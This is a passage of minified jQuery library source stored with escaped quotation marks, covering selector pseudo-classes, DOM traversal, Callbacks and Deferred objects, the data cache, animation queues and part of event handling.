t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&!!e.checked||\\\"option\\\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!C.pseudos.empty(e)},header:function(e){return G.test(e.nodeName)},input:function(e){return K.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&\\\"button\\\"===e.type||\\\"button\\\"===t},text:function(e){var t;return\\\"input\\\"===e.nodeName.toLowerCase()&&\\\"text\\\"===e.type&&(null==(t=e.getAttribute(\\\"type\\\"))||\\\"text\\\"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var o=n<0?n+t:n;0<=--o;)e.push(o);return e}),gt:he(function(e,t,n){for(var o=n<0?n+t:n;++o<t;)e.push(o);return e})}}).pseudos.nth=C.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})C.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})C.pseudos[e]=pe(e);function me(){}function ve(e){for(var t=0,n=e.length,o=\\\"\\\";t<n;t++)o+=e[t].value;return o}function we(s,e,t){var a=e.dir,c=e.next,u=c||a,d=t&&\\\"parentNode\\\"===u,p=o++;return e.first?function(e,t,n){for(;e=e[a];)if(1===e.nodeType||d)return s(e,t,n);return!1}:function(e,t,n){var o,r,i,l=[k,p];if(n){for(;e=e[a];)if((1===e.nodeType||d)&&s(e,t,n))return!0}else for(;e=e[a];)if(1===e.nodeType||d)if(i=e[E]||(e[E]={}),r=i[e.uniqueID]||(i[e.uniqueID]={}),c&&c===e.nodeName.toLowerCase())e=e[a]||e;else{if((o=r[u])&&o[0]===k&&o[1]===p)return l[2]=o[2];if((r[u]=l)[2]=s(e,t,n))return!0}return!1}}function ye(r){return 1<r.length?function(e,t,n){for(var o=r.length;o--;)if(!r[o](e,t,n))return!1;return!0}:r[0]}function Ce(e,t,n,o,r){for(var i,l=[],s=0,a=e.length,c=null!=t;s<a;s++)(i=e[s])&&(n&&!n(i,o,r)||(l.push(i),c&&t.push(s)));return l}function be(f,h,g,m,v,e){return m&&!m[E]&&(m=be(m)),v&&!v[E]&&(v=be(v,e)),se(function(e,t,n,o){var r,i,l,s=[],a=[],c=t.length,u=e||function(e,t,n){for(var o=0,r=t.length;o<r;o++)ie(e,t[o],n);return n}(h||\\\"*\\\",n.nodeType?[n]:n,[]),d=!f||!e&&h?u:Ce(u,s,f,n,o),p=g?v||(e?f:c||m)?[]:t:d;if(g&&g(d,p,n,o),m)for(r=Ce(p,a),m(r,[],n,o),i=r.length;i--;)(l=r[i])&&(p[a[i]]=!(d[a[i]]=l));if(e){if(v||f){if(v){for(r=[],i=p.length;i--;)(l=p[i])&&r.push(d[i]=l);v(null,p=[],r,o)}for(i=p.length;i--;)(l=p[i])&&-1<(r=v?L(e,l):s[i])&&(e[r]=!(t[r]=l))}}else p=Ce(p===t?p.splice(c,p.length):p),v?v(null,t,p,o):$.apply(t,p)})}function xe(e){for(var r,t,n,o=e.length,i=C.relative[e[0].type],l=i||C.relative[\\\" \\\"],s=i?1:0,a=we(function(e){return e===r},l,!0),c=we(function(e){return-1<L(r,e)},l,!0),u=[function(e,t,n){var o=!i&&(n||t!==b)||((r=t).nodeType?a(e,t,n):c(e,t,n));return r=null,o}];s<o;s++)if(t=C.relative[e[s].type])u=[we(ye(u),t)];else{if((t=C.filter[e[s].type].apply(null,e[s].matches))[E]){for(n=++s;n<o&&!C.relative[e[n].type];n++);return be(1<s&&ye(u),1<s&&ve(e.slice(0,s-1).concat({value:\\\" \\\"===e[s-2].type?\\\"*\\\":\\\"\\\"})).replace(V,\\\"$1\\\"),t,s<n&&xe(e.slice(s,n)),n<o&&xe(e=e.slice(n)),n<o&&ve(e))}u.push(t)}return ye(u)}return me.prototype=C.filters=C.pseudos,C.setFilters=new me,h=ie.tokenize=function(e,t){var n,o,r,i,l,s,a,c=y[e+\\\" \\\"];if(c)return t?0:c.slice(0);for(l=e,s=[],a=C.preFilter;l;){for(i in n&&!(o=B.exec(l))||(o&&(l=l.slice(o[0].length)||l),s.push(r=[])),n=!1,(o=q.exec(l))&&(n=o.shift(),r.push({value:n,type:o[0].replace(V,\\\" \\\")}),l=l.slice(n.length)),C.filter)!(o=U[i].exec(l))||a[i]&&!(o=a[i](o))||(n=o.shift(),r.push({value:n,type:i,matches:o}),l=l.slice(n.length));if(!n)break}return t?l.length:l?ie.error(e):y(e,s).slice(0)},d=ie.compile=function(e,t){var n,m,v,w,y,o,r=[],i=[],l=T[e+\\\" \\\"];if(!l){for(t||(t=h(e)),n=t.length;n--;)(l=xe(t[n]))[E]?r.push(l):i.push(l);(l=T(e,(m=i,w=0<(v=r).length,y=0<m.length,o=function(e,t,n,o,r){var i,l,s,a=0,c=\\\"0\\\",u=e&&[],d=[],p=b,f=e||y&&C.find.TAG(\\\"*\\\",r),h=k+=null==p?1:Math.random()||.1,g=f.length;for(r&&(b=t===R||t||r);c!==g&&null!=(i=f[c]);c++){if(y&&i){for(l=0,t||i.ownerDocument===R||(x(i),n=!S);s=m[l++];)if(s(i,t||R,n)){o.push(i);break}r&&(k=h)}w&&((i=!s&&i)&&a--,e&&u.push(i))}if(a+=c,w&&c!==a){for(l=0;s=v[l++];)s(u,d,t,n);if(e){if(0<a)for(;c--;)u[c]||d[c]||(d[c]=A.call(o));d=Ce(d)}$.apply(o,d),r&&!e&&0<d.length&&1<a+v.length&&ie.uniqueSort(o)}return r&&(k=h,b=p),u},w?se(o):o))).selector=e}return l},g=ie.select=function(e,t,n,o){var r,i,l,s,a,c=\\\"function\\\"==typeof e&&e,u=!o&&h(e=c.selector||e);if(n=n||[],1===u.length){if(2<(i=u[0]=u[0].slice(0)).length&&\\\"ID\\\"===(l=i[0]).type&&9===t.nodeType&&S&&C.relative[i[1].type]){if(!(t=(C.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(r=U.needsContext.test(e)?0:i.length;r--&&(l=i[r],!C.relative[s=l.type]);)if((a=C.find[s])&&(o=a(l.matches[0].replace(Z,ee),J.test(i[0].type)&&ge(t.parentNode)||t))){if(i.splice(r,1),!(e=o.length&&ve(i)))return $.apply(n,o),n;break}}return(c||d(e,u))(o,t,!S,n,!t||J.test(e)&&ge(t.parentNode)||t),n},f.sortStable=E.split(\\\"\\\").sort(P).join(\\\"\\\")===E,f.detectDuplicates=!!c,x(),f.sortDetached=ae(function(e){return 1&e.compareDocumentPosition(R.createElement(\\\"fieldset\\\"))}),ae(function(e){return e.innerHTML=\\\"<a href='#'></a>\\\",\\\"#\\\"===e.firstChild.getAttribute(\\\"href\\\")})||ce(\\\"type|href|height|width\\\",function(e,t,n){if(!n)return e.getAttribute(t,\\\"type\\\"===t.toLowerCase()?1:2)}),f.attributes&&ae(function(e){return e.innerHTML=\\\"<input/>\\\",e.firstChild.setAttribute(\\\"value\\\",\\\"\\\"),\\\"\\\"===e.firstChild.getAttribute(\\\"value\\\")})||ce(\\\"value\\\",function(e,t,n){if(!n&&\\\"input\\\"===e.nodeName.toLowerCase())return e.defaultValue}),ae(function(e){return null==e.getAttribute(\\\"disabled\\\")})||ce(F,function(e,t,n){var o;if(!n)return!0===e[t]?t.toLowerCase():(o=e.getAttributeNode(t))&&o.specified?o.value:null}),ie}(R);E.find=y,E.expr=y.selectors,E.expr[\\\":\\\"]=E.expr.pseudos,E.uniqueSort=E.unique=y.uniqueSort,E.text=y.getText,E.isXMLDoc=y.isXML,E.contains=y.contains,E.escapeSelector=y.escape;var C=function(e,t,n){for(var o=[],r=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&E(e).is(n))break;o.push(e)}return o},b=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},x=E.expr.match.needsContext;function k(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var T=/^<([a-z][^\\\\/\\\\0>:\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[\\\\x20\\\\t\\\\r\\\\n\\\\f]*\\\\/?>(?:<\\\\/\\\\1>|)$/i,P=/^.[^:#\\\\[\\\\.,]*$/;function D(e,n,o){return E.isFunction(n)?E.grep(e,function(e,t){return!!n.call(e,t,e)!==o}):n.nodeType?E.grep(e,function(e){return e===n!==o}):\\\"string\\\"!=typeof n?E.grep(e,function(e){return-1<r.call(n,e)!==o}):P.test(n)?E.filter(n,e,o):(n=E.filter(n,e),E.grep(e,function(e){return-1<r.call(n,e)!==o&&1===e.nodeType}))}E.filter=function(e,t,n){var o=t[0];return n&&(e=\\\":not(\\\"+e+\\\")\\\"),1===t.length&&1===o.nodeType?E.find.matchesSelector(o,e)?[o]:[]:E.find.matches(e,E.grep(t,function(e){return 1===e.nodeType}))},E.fn.extend({find:function(e){var t,n,o=this.length,r=this;if(\\\"string\\\"!=typeof e)return this.pushStack(E(e).filter(function(){for(t=0;t<o;t++)if(E.contains(r[t],this))return!0}));for(n=this.pushStack([]),t=0;t<o;t++)E.find(e,r[t],n);return 1<o?E.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,\\\"string\\\"==typeof e&&x.test(e)?E(e):e||[],!1).length}});var A,N=/^(?:\\\\s*(<[\\\\w\\\\W]+>)[^>]*|#([\\\\w-]+))$/,$=E.fn.init=function(e,t,n){var o,r;if(!e)return this;if(n=n||A,\\\"string\\\"==typeof e){if(!(o=\\\"<\\\"===e[0]&&\\\">\\\"===e[e.length-1]&&3<=e.length?[null,e,null]:N.exec(e))||!o[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(o[1]){if(t=t instanceof E?t[0]:t,E.merge(this,E.parseHTML(o[1],t&&t.nodeType?t.ownerDocument||t:S,!0)),T.test(o[1])&&E.isPlainObject(t))for(o in t)E.isFunction(this[o])?this[o](t[o]):this.attr(o,t[o]);return this}return(r=S.getElementById(o[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):E.isFunction(e)?void 0!==n.ready?n.ready(e):e(E):E.makeArray(e,this)};$.prototype=E.fn,A=E(S);var H=/^(?:parents|prev(?:Until|All))/,L={children:!0,contents:!0,next:!0,prev:!0};function F(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(E.contains(this,t[e]))return!0})},closest:function(e,t){var n,o=0,r=this.length,i=[],l=\\\"string\\\"!=typeof e&&E(e);if(!x.test(e))for(;o<r;o++)for(n=this[o];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(l?-1<l.index(n):1===n.nodeType&&E.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(1<i.length?E.uniqueSort(i):i)},index:function(e){return e?\\\"string\\\"==typeof e?r.call(E(e),this[0]):r.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),E.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return C(e,\\\"parentNode\\\")},parentsUntil:function(e,t,n){return C(e,\\\"parentNode\\\",n)},next:function(e){return F(e,\\\"nextSibling\\\")},prev:function(e){return F(e,\\\"previousSibling\\\")},nextAll:function(e){return C(e,\\\"nextSibling\\\")},prevAll:function(e){return C(e,\\\"previousSibling\\\")},nextUntil:function(e,t,n){return C(e,\\\"nextSibling\\\",n)},prevUntil:function(e,t,n){return C(e,\\\"previousSibling\\\",n)},siblings:function(e){return b((e.parentNode||{}).firstChild,e)},children:function(e){return b(e.firstChild)},contents:function(e){return k(e,\\\"iframe\\\")?e.contentDocument:(k(e,\\\"template\\\")&&(e=e.content||e),E.merge([],e.childNodes))}},function(o,r){E.fn[o]=function(e,t){var n=E.map(this,r,e);return\\\"Until\\\"!==o.slice(-5)&&(t=e),t&&\\\"string\\\"==typeof t&&(n=E.filter(t,n)),1<this.length&&(L[o]||E.uniqueSort(n),H.test(o)&&n.reverse()),this.pushStack(n)}});var _=/[^\\\\x20\\\\t\\\\r\\\\n\\\\f]+/g;function I(e){return e}function M(e){throw e}function W(e,t,n,o){var r;try{e&&E.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&E.isFunction(r=e.then)?r.call(e,t,n):t.apply(void 0,[e].slice(o))}catch(e){n.apply(void 0,[e])}}E.Callbacks=function(o){var e,n;o=\\\"string\\\"==typeof o?(e=o,n={},E.each(e.match(_)||[],function(e,t){n[t]=!0}),n):E.extend({},o);var r,t,i,l,s=[],a=[],c=-1,u=function(){for(l=l||o.once,i=r=!0;a.length;c=-1)for(t=a.shift();++c<s.length;)!1===s[c].apply(t[0],t[1])&&o.stopOnFalse&&(c=s.length,t=!1);o.memory||(t=!1),r=!1,l&&(s=t?[]:\\\"\\\")},d={add:function(){return s&&(t&&!r&&(c=s.length-1,a.push(t)),function n(e){E.each(e,function(e,t){E.isFunction(t)?o.unique&&d.has(t)||s.push(t):t&&t.length&&\\\"string\\\"!==E.type(t)&&n(t)})}(arguments),t&&!r&&u()),this},remove:function(){return E.each(arguments,function(e,t){for(var n;-1<(n=E.inArray(t,s,n));)s.splice(n,1),n<=c&&c--}),this},has:function(e){return e?-1<E.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return l=a=[],s=t=\\\"\\\",this},disabled:function(){return!s},lock:function(){return l=a=[],t||r||(s=t=\\\"\\\"),this},locked:function(){return!!l},fireWith:function(e,t){return l||(t=[e,(t=t||[]).slice?t.slice():t],a.push(t),r||u()),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!i}};return d},E.extend({Deferred:function(e){var i=[[\\\"notify\\\",\\\"progress\\\",E.Callbacks(\\\"memory\\\"),E.Callbacks(\\\"memory\\\"),2],[\\\"resolve\\\",\\\"done\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),0,\\\"resolved\\\"],[\\\"reject\\\",\\\"fail\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),1,\\\"rejected\\\"]],r=\\\"pending\\\",l={state:function(){return r},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return l.then(null,e)},pipe:function(){var r=arguments;return E.Deferred(function(o){E.each(i,function(e,t){var n=E.isFunction(r[t[4]])&&r[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&E.isFunction(e.promise)?e.promise().progress(o.notify).done(o.resolve).fail(o.reject):o[t[0]+\\\"With\\\"](this,n?[e]:arguments)})}),r=null}).promise()},then:function(t,n,o){var a=0;function c(r,i,l,s){return function(){var n=this,o=arguments,e=function(){var e,t;if(!(r<a)){if((e=l.apply(n,o))===i.promise())throw new TypeError(\\\"Thenable self-resolution\\\");t=e&&(\\\"object\\\"==typeof e||\\\"function\\\"==typeof e)&&e.then,E.isFunction(t)?s?t.call(e,c(a,i,I,s),c(a,i,M,s)):(a++,t.call(e,c(a,i,I,s),c(a,i,M,s),c(a,i,I,i.notifyWith))):(l!==I&&(n=void 0,o=[e]),(s||i.resolveWith)(n,o))}},t=s?e:function(){try{e()}catch(e){E.Deferred.exceptionHook&&E.Deferred.exceptionHook(e,t.stackTrace),a<=r+1&&(l!==M&&(n=void 0,o=[e]),i.rejectWith(n,o))}};r?t():(E.Deferred.getStackHook&&(t.stackTrace=E.Deferred.getStackHook()),R.setTimeout(t))}}return E.Deferred(function(e){i[0][3].add(c(0,e,E.isFunction(o)?o:I,e.notifyWith)),i[1][3].add(c(0,e,E.isFunction(t)?t:I)),i[2][3].add(c(0,e,E.isFunction(n)?n:M))}).promise()},promise:function(e){return null!=e?E.extend(e,l):l}},s={};return E.each(i,function(e,t){var n=t[2],o=t[5];l[t[1]]=n.add,o&&n.add(function(){r=o},i[3-e][2].disable,i[0][2].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+\\\"With\\\"](this===s?void 0:this,arguments),this},s[t[0]+\\\"With\\\"]=n.fireWith}),l.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,o=Array(t),r=s.call(arguments),i=E.Deferred(),l=function(t){return function(e){o[t]=this,r[t]=1<arguments.length?s.call(arguments):e,--n||i.resolveWith(o,r)}};if(n<=1&&(W(e,i.done(l(t)).resolve,i.reject,!n),\\\"pending\\\"===i.state()||E.isFunction(r[t]&&r[t].then)))return i.then();for(;t--;)W(r[t],l(t),i.reject);return i.promise()}});var j=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){R.console&&R.console.warn&&e&&j.test(e.name)&&R.console.warn(\\\"jQuery.Deferred exception: \\\"+e.message,e.stack,t)},E.readyException=function(e){R.setTimeout(function(){throw e})};var V=E.Deferred();function B(){S.removeEventListener(\\\"DOMContentLoaded\\\",B),R.removeEventListener(\\\"load\\\",B),E.ready()}E.fn.ready=function(e){return V.then(e).catch(function(e){E.readyException(e)}),this},E.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--E.readyWait:E.isReady)||(E.isReady=!0)!==e&&0<--E.readyWait||V.resolveWith(S,[E])}}),E.ready.then=V.then,\\\"complete\\\"===S.readyState||\\\"loading\\\"!==S.readyState&&!S.documentElement.doScroll?R.setTimeout(E.ready):(S.addEventListener(\\\"DOMContentLoaded\\\",B),R.addEventListener(\\\"load\\\",B));var q=function(e,t,n,o,r,i,l){var s=0,a=e.length,c=null==n;if(\\\"object\\\"===E.type(n))for(s in r=!0,n)q(e,t,s,n[s],!0,i,l);else if(void 0!==o&&(r=!0,E.isFunction(o)||(l=!0),c&&(l?(t.call(e,o),t=null):(c=t,t=function(e,t,n){return c.call(E(e),n)})),t))for(;s<a;s++)t(e[s],n,l?o:o.call(e[s],s,t(e[s],n)));return r?e:c?t.call(e):a?t(e[0],n):i},O=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function z(){this.expando=E.expando+z.uid++}z.uid=1,z.prototype={cache:function(e){var t=e[this.expando];return t||(t={},O(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var o,r=this.cache(e);if(\\\"string\\\"==typeof t)r[E.camelCase(t)]=n;else for(o in t)r[E.camelCase(o)]=t[o];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][E.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\\\"string\\\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,o=e[this.expando];if(void 0!==o){if(void 0!==t){t=Array.isArray(t)?t.map(E.camelCase):(t=E.camelCase(t))in o?[t]:t.match(_)||[],n=t.length;for(;n--;)delete o[t[n]]}(void 0===t||E.isEmptyObject(o))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!E.isEmptyObject(t)}};var X=new z,U=new z,K=/^(?:\\\\{[\\\\w\\\\W]*\\\\}|\\\\[[\\\\w\\\\W]*\\\\])$/,G=/[A-Z]/g;function Y(e,t,n){var o;if(void 0===n&&1===e.nodeType)if(o=\\\"data-\\\"+t.replace(G,\\\"-$&\\\").toLowerCase(),\\\"string\\\"==typeof(n=e.getAttribute(o))){try{n=function(e){if(\\\"true\\\"===e)return!0;if(\\\"false\\\"===e)return!1;if(\\\"null\\\"===e)return null;if(e===+e+\\\"\\\")return+e;if(K.test(e))return JSON.parse(e);return e}(n)}catch(e){}U.set(e,t,n)}else n=void 0;return n}E.extend({hasData:function(e){return U.hasData(e)||X.hasData(e)},data:function(e,t,n){return U.access(e,t,n)},removeData:function(e,t){U.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),E.fn.extend({data:function(n,e){var t,o,r,i=this[0],l=i&&i.attributes;if(void 0===n){if(this.length&&(r=U.get(i),1===i.nodeType&&!X.get(i,\\\"hasDataAttrs\\\"))){for(t=l.length;t--;)l[t]&&0===(o=l[t].name).indexOf(\\\"data-\\\")&&(o=E.camelCase(o.slice(5)),Y(i,o,r[o]));X.set(i,\\\"hasDataAttrs\\\",!0)}return r}return\\\"object\\\"==typeof n?this.each(function(){U.set(this,n)}):q(this,function(e){var t;if(i&&void 0===e)return void 0!==(t=U.get(i,n))?t:void 0!==(t=Y(i,n))?t:void 0;this.each(function(){U.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){U.remove(this,e)})}}),E.extend({queue:function(e,t,n){var o;if(e)return t=(t||\\\"fx\\\")+\\\"queue\\\",o=X.get(e,t),n&&(!o||Array.isArray(n)?o=X.access(e,t,E.makeArray(n)):o.push(n)),o||[]},dequeue:function(e,t){t=t||\\\"fx\\\";var n=E.queue(e,t),o=n.length,r=n.shift(),i=E._queueHooks(e,t);\\\"inprogress\\\"===r&&(r=n.shift(),o--),r&&(\\\"fx\\\"===t&&n.unshift(\\\"inprogress\\\"),delete i.stop,r.call(e,function(){E.dequeue(e,t)},i)),!o&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\\\"queueHooks\\\";return X.get(e,n)||X.access(e,n,{empty:E.Callbacks(\\\"once memory\\\").add(function(){X.remove(e,[t+\\\"queue\\\",n])})})}}),E.fn.extend({queue:function(t,n){var e=2;return\\\"string\\\"!=typeof t&&(n=t,t=\\\"fx\\\",e--),arguments.length<e?E.queue(this[0],t):void 0===n?this:this.each(function(){var e=E.queue(this,t,n);E._queueHooks(this,t),\\\"fx\\\"===t&&\\\"inprogress\\\"!==e[0]&&E.dequeue(this,t)})},dequeue:function(e){return this.each(function(){E.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\\\"fx\\\",[])},promise:function(e,t){var n,o=1,r=E.Deferred(),i=this,l=this.length,s=function(){--o||r.resolveWith(i,[i])};for(\\\"string\\\"!=typeof e&&(t=e,e=void 0),e=e||\\\"fx\\\";l--;)(n=X.get(i[l],e+\\\"queueHooks\\\"))&&n.empty&&(o++,n.empty.add(s));return s(),r.promise(t)}});var Q=/[+-]?(?:\\\\d*\\\\.|)\\\\d+(?:[eE][+-]?\\\\d+|)/.source,J=new RegExp(\\\"^(?:([+-])=|)(\\\"+Q+\\\")([a-z%]*)$\\\",\\\"i\\\"),Z=[\\\"Top\\\",\\\"Right\\\",\\\"Bottom\\\",\\\"Left\\\"],ee=function(e,t){return\\\"none\\\"===(e=t||e).style.display||\\\"\\\"===e.style.display&&E.contains(e.ownerDocument,e)&&\\\"none\\\"===E.css(e,\\\"display\\\")},te=function(e,t,n,o){var r,i,l={};for(i in t)l[i]=e.style[i],e.style[i]=t[i];for(i in r=n.apply(e,o||[]),t)e.style[i]=l[i];return r};function ne(e,t,n,o){var r,i=1,l=20,s=o?function(){return o.cur()}:function(){return E.css(e,t,\\\"\\\")},a=s(),c=n&&n[3]||(E.cssNumber[t]?\\\"\\\":\\\"px\\\"),u=(E.cssNumber[t]||\\\"px\\\"!==c&&+a)&&J.exec(E.css(e,t));if(u&&u[3]!==c)for(c=c||u[3],n=n||[],u=+a||1;u/=i=i||\\\".5\\\",E.style(e,t,u+c),i!==(i=s()/a)&&1!==i&&--l;);return n&&(u=+u||+a||0,r=n[1]?u+(n[1]+1)*n[2]:+n[2],o&&(o.unit=c,o.start=u,o.end=r)),r}var oe={};function re(e){var t,n=e.ownerDocument,o=e.nodeName,r=oe[o];return r||(t=n.body.appendChild(n.createElement(o)),r=E.css(t,\\\"display\\\"),t.parentNode.removeChild(t),\\\"none\\\"===r&&(r=\\\"block\\\"),oe[o]=r)}function ie(e,t){for(var n,o,r=[],i=0,l=e.length;i<l;i++)(o=e[i]).style&&(n=o.style.display,t?(\\\"none\\\"===n&&(r[i]=X.get(o,\\\"display\\\")||null,r[i]||(o.style.display=\\\"\\\")),\\\"\\\"===o.style.display&&ee(o)&&(r[i]=re(o))):\\\"none\\\"!==n&&(r[i]=\\\"none\\\",X.set(o,\\\"display\\\",n)));for(i=0;i<l;i++)null!=r[i]&&(e[i].style.display=r[i]);return e}E.fn.extend({show:function(){return ie(this,!0)},hide:function(){return ie(this)},toggle:function(e){return\\\"boolean\\\"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?E(this).show():E(this).hide()})}});var le=/^(?:checkbox|radio)$/i,se=/<([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]+)/i,ae=/^$|\\\\/(?:java|ecma)script/i,ce={option:[1,\\\"<select multiple='multiple'>\\\",\\\"</select>\\\"],thead:[1,\\\"<table>\\\",\\\"</table>\\\"],col:[2,\\\"<table><colgroup>\\\",\\\"</colgroup></table>\\\"],tr:[2,\\\"<table><tbody>\\\",\\\"</tbody></table>\\\"],td:[3,\\\"<table><tbody><tr>\\\",\\\"</tr></tbody></table>\\\"],_default:[0,\\\"\\\",\\\"\\\"]};function ue(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||\\\"*\\\"):void 0!==e.querySelectorAll?e.querySelectorAll(t||\\\"*\\\"):[],void 0===t||t&&k(e,t)?E.merge([e],n):n}function de(e,t){for(var n=0,o=e.length;n<o;n++)X.set(e[n],\\\"globalEval\\\",!t||X.get(t[n],\\\"globalEval\\\"))}ce.optgroup=ce.option,ce.tbody=ce.tfoot=ce.colgroup=ce.caption=ce.thead,ce.th=ce.td;var pe,fe,he,ge=/<|&#?\\\\w+;/;function me(e,t,n,o,r){for(var i,l,s,a,c,u,d=t.createDocumentFragment(),p=[],f=0,h=e.length;f<h;f++)if((i=e[f])||0===i)if(\\\"object\\\"===E.type(i))E.merge(p,i.nodeType?[i]:i);else if(ge.test(i)){for(l=l||d.appendChild(t.createElement(\\\"div\\\")),s=(se.exec(i)||[\\\"\\\",\\\"\\\"])[1].toLowerCase(),a=ce[s]||ce._default,l.innerHTML=a[1]+E.htmlPrefilter(i)+a[2],u=a[0];u--;)l=l.lastChild;E.merge(p,l.childNodes),(l=d.firstChild).textContent=\\\"\\\"}else p.push(t.createTextNode(i));for(d.textContent=\\\"\\\",f=0;i=p[f++];)if(o&&-1<E.inArray(i,o))r&&r.push(i);else if(c=E.contains(i.ownerDocument,i),l=ue(d.appendChild(i),\\\"script\\\"),c&&de(l),n)for(u=0;i=l[u++];)ae.test(i.type||\\\"\\\")&&n.push(i);return d}pe=S.createDocumentFragment(),fe=pe.appendChild(S.createElement(\\\"div\\\")),(he=S.createElement(\\\"input\\\")).setAttribute(\\\"type\\\",\\\"radio\\\"),he.setAttribute(\\\"checked\\\",\\\"checked\\\"),he.setAttribute(\\\"name\\\",\\\"t\\\"),fe.appendChild(he),m.checkClone=fe.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.innerHTML=\\\"<textarea>x</textarea>\\\",m.noCloneChecked=!!fe.cloneNode(!0).lastChild.defaultValue;var ve=S.documentElement,we=/^key/,ye=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\\\\.(.+)|)/;function be(){return!0}function xe(){return!1}function Re(){try{return S.activeElement}catch(e){}}function Se(e,t,n,o,r,i){var l,s;if(\\\"object\\\"==typeof t){for(s in\\\"string\\\"!=typeof n&&(o=o||n,n=void 0),t)Se(e,s,n,o,t[s],i);return e}if(null==o&&null==r?(r=n,o=n=void 0):null==r&&(\\\"string\\\"==typeof n?(r=o,o=void 0):(r=o,o=n,n=void 0)),!1===r)r=xe;else if(!r)return e;return 1===i&&(l=r,(r=function(e){return E().off(e),l.apply(this,arguments)}).guid=l.guid||(l.guid=E.guid++)),e.each(function(){E.event.add(this,t,r,o,n)})}E.event={global:{},add:function(t,e,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.get(t);if(m)for(n.handler&&(n=(i=n).handler,r=i.selector),r&&E.find.matchesSelector(ve,r),n.guid||(n.guid=E.guid++),(a=m.events)||(a=m.events={}),(l=m.handle)||(l=m.handle=function(e){return void 0!==E&&E.event.triggered!==e.type?E.event.dispatch.apply(t,arguments):void 0}),e=(e||\\\"\\\").match(_)||[\\\"\\\"],c=e.length;c--;)s=Ce.exec(e[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f&&(d=E.event.special[f]||{},f=(r?d.delegateType:d.bindType)||f,d=E.event.special[f]||{},u=E.extend({type:f,origType:g,data:o,handler:n,guid:n.guid,selector:r,needsContext:r&&E.expr.match.needsContext.test(r),namespace:h.join(\\\".\\\")},i),(p=a[f])||((p=a[f]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(t,o,h,l)||t.addEventListener&&t.addEventListener(f,l)),d.add&&(d.add.call(t,u),u.handler.guid||(u.handler.guid=n.guid)),r?p.splice(p.delegateCount++,0,u):p.push(u),E.event.global[f]=!0)},remove:function(e,t,n,o,r){var 